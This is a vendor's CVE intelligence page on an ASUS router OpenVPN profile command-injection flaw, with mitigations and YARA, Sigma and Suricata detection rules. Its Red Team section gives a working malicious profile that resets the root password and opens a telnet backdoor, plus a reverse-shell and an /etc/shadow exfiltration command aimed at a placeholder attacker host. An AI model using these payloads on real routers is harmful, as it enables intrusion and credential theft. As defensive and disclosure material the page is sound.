☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-0401

CVE-2024-0401 Code Execution in Asus
📅 PUBLISHED: 2024-05-20 16:55 UTC 🔄 UPDATED: 2026-09-23 20:22 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.73%
👁️
0.73% probability
18.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-0401 is a critical OS command injection vulnerability affecting multiple ASUS router models that support custom OpenVPN profiles. An authenticated remote attacker can upload a crafted OVPN profile to execute arbitrary operating system commands on the device. The vulnerability resides in the OpenVPN profile parsing logic, where user-supplied configuration directives are not properly sanitized before being passed to the operating system shell. With a CVSS score of 7.2, this flaw allows for full device compromise, including data exfiltration, lateral movement within the network, and potential use of the router as a pivot point for further attacks. No public proof-of-concept or exploit code has been released, and ASUS has not yet issued a patch.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 7.2 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely over the network.
  • Attack Complexity: Low (AC:L) – No special conditions are required; the attack is straightforward.
  • Privileges Required: High (PR:H) – An attacker must have valid administrative credentials to the router's web interface.
  • User Interaction: None (UI:N) – No user action is needed beyond the attacker's own actions.
  • Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
  • Confidentiality Impact: High (C:H) – Full access to all data processed or stored by the router.
  • Integrity Impact: High (I:H) – Complete control over device configuration and operations.
  • Availability Impact: High (A:H) – Potential for denial of service or device bricking.

Threat Level: High. While the attack requires authentication, the widespread use of default or weak credentials on consumer routers makes this a significant threat. The ability to execute arbitrary commands as root gives an attacker complete control.

Deep Dive & Mechanics

The vulnerability is rooted in how ASUS routers process custom OpenVPN configuration files (.ovpn). When an authenticated administrator uploads a profile, the router's firmware parses the file and applies the settings. The parsing logic fails to properly sanitize or escape shell metacharacters within certain directives, such as up, down, route-up, or custom script paths. An attacker can embed operating system commands within these directives, which are then executed by the router's shell with root privileges.

Attack Flow:

  1. Authentication: The attacker gains administrative access to the router's web interface (e.g., via default credentials, brute force, or session hijacking).
  2. Profile Upload: The attacker navigates to the OpenVPN client configuration page and uploads a malicious .ovpn file.
  3. Command Injection: The crafted profile contains a directive like up /bin/sh -c 'malicious_command' or uses backticks or $() within a parameter.
  4. Execution: The router's firmware processes the profile and executes the injected command as root.
  5. Persistence: The attacker can install a backdoor, modify firewall rules, or exfiltrate data.

Affected Models (per NVD):

  • ASUS ExpertWiFi series
  • ASUS RT-AX55
  • ASUS RT-AX58U
  • ASUS RT-AC67U
  • ASUS RT-AC68R
  • ASUS RT-AC68U
  • ASUS RT-AX86
  • ASUS RT-AC86U
  • ASUS RT-AX88U
  • ASUS RT-AX3000

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code path is inferred from the attack vector. The following pseudo-code illustrates the flaw:

Vulnerable (pseudo-code):

def apply_ovpn_profile(profile_path):
    with open(profile_path, 'r') as f:
        for line in f:
            if line.startswith('up '):
                command = line[3:].strip()
                # UNSAFE: Direct shell execution
                os.system(command)

Patched (pseudo-code):

import shlex
def apply_ovpn_profile(profile_path):
    with open(profile_path, 'r') as f:
        for line in f:
            if line.startswith('up '):
                command = line[3:].strip()
                # SAFE: Use subprocess with argument list
                subprocess.run(shlex.split(command), shell=False)

The patched version uses subprocess.run with shell=False and properly splits the command into arguments, preventing shell injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Administrative access to an affected ASUS router.
  • Network connectivity to the router's management interface (typically port 443 or 8443).

Exploitation Steps:

  1. Craft Malicious OVPN Profile: Create a file named exploit.ovpn with the following content:

    client
    dev tun
    proto udp
    remote 10.0.0.1 1194
    resolv-retry infinite
    nobind
    persist-key
    persist-tun
    ca ca.crt
    cert client.crt
    key client.key
    remote-cert-tls server
    tls-auth ta.key 1
    cipher AES-256-CBC
    verb 3
    up /bin/sh -c 'echo "root:newpassword" | chpasswd && /usr/sbin/telnetd -l /bin/sh'
    

    This changes the root password and enables a telnet backdoor.

  2. Upload Profile: Log into the router's web interface, navigate to VPN > OpenVPN Client, and upload the crafted profile.

  3. Trigger Execution: The router will process the profile and execute the up script, changing the password and starting telnet.

  4. Access Backdoor: Connect to the router via telnet using the new password.

Alternative Payloads:

  • Reverse shell: up /bin/sh -c 'nc -e /bin/sh attacker_ip 4444'
  • Data exfiltration: up /bin/sh -c 'curl -X POST -d @/etc/shadow http://attacker_ip/exfil'

Blue Team

Detection Steps:

  1. Monitor OVPN Uploads: Log all uploads of OpenVPN profiles. Alert on any profile containing suspicious directives (up, down, route-up, ipchange) with shell metacharacters (;, |, `, $()).
  2. Check for Unauthorized Services: Scan for unexpected open ports (e.g., telnet on port 23, SSH on port 22, or custom reverse shells).
  3. Review System Logs: Look for unusual process executions, especially /bin/sh or /bin/bash spawned by the OpenVPN process.
  4. Network Anomalies: Detect outbound connections from the router to unknown IPs on non-standard ports.

Honeypot Configuration:

  • Deploy a fake ASUS router with a modified firmware that logs all OVPN uploads and alerts on injection attempts.

Indicators of Compromise (IOCs)

File-Based IOCs:

  • Malicious OVPN files containing shell metacharacters in up, down, route-up, or ipchange directives.
  • Unexpected files in /tmp/ or /var/ (e.g., /tmp/backdoor.sh).

Network IOCs:

  • Outbound connections from the router to external IPs on ports 4444, 1337, or other non-standard ports.
  • DNS queries to domains associated with C2 infrastructure.

System IOCs:

  • Unauthorized processes: telnetd, nc, bash, sh with unusual arguments.
  • Modified /etc/shadow or /etc/passwd files.
  • New cron jobs or startup scripts.

Log IOCs:

  • Repeated failed login attempts followed by a successful OVPN upload.
  • Log entries showing execution of shell commands from the OpenVPN process.

Detection Engineering

YARA Rule

rule CVE_2024_0401_ASUS_OVPN_Injection {
    meta:
        description = "Detects malicious OVPN files targeting CVE-2024-0401"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-0401"
    strings:
        $s1 = "up " ascii wide nocase
        $s2 = "down " ascii wide nocase
        $s3 = "route-up " ascii wide nocase
        $s4 = "ipchange " ascii wide nocase
        $shell1 = "sh -c" ascii wide nocase
        $shell2 = "bash -c" ascii wide nocase
        $shell3 = "`" ascii wide
        $shell4 = "$(" ascii wide
        $shell5 = ";" ascii wide
        $shell6 = "|" ascii wide
    condition:
        (any of ($s1, $s2, $s3, $s4)) and (any of ($shell1, $shell2, $shell3, $shell4, $shell5, $shell6))
}

Sigma Rule

title: ASUS Router OpenVPN Profile Command Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects upload of malicious OpenVPN profiles targeting CVE-2024-0401
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/sh'
        CommandLine|contains: 'ovpn'
    condition: selection
falsepositives:
    - Legitimate OpenVPN profile uploads with complex scripts
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-0401 ASUS OVPN Upload with Shell Injection"; flow:to_server,established; content:"POST"; http_method; content:"ovpn"; http_uri; content:"up "; http_client_body; pcre:"/(sh -c|bash -c|`|\$\(|;|\|)/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Change Default Credentials: Ensure all router admin passwords are strong and unique.
  2. Disable Remote Management: If not required, disable WAN-side access to the router's web interface.
  3. Restrict OVPN Uploads: Only allow trusted administrators to upload profiles. Consider using a dedicated management VLAN.
  4. Monitor Logs: Enable and review router logs for suspicious activity.

Long-Term Fixes:

  • Firmware Update: Apply an official patch from ASUS when released. Monitor ASUS security advisories.
  • Network Segmentation: Place IoT devices and routers on a separate VLAN to limit blast radius.
  • IDS/IPS: Deploy network-based intrusion detection to block malicious OVPN uploads.

Workarounds:

  • If OpenVPN is not required, disable the feature entirely.
  • Use a third-party firewall to inspect and block malicious OVPN files before they reach the router.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-0401/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.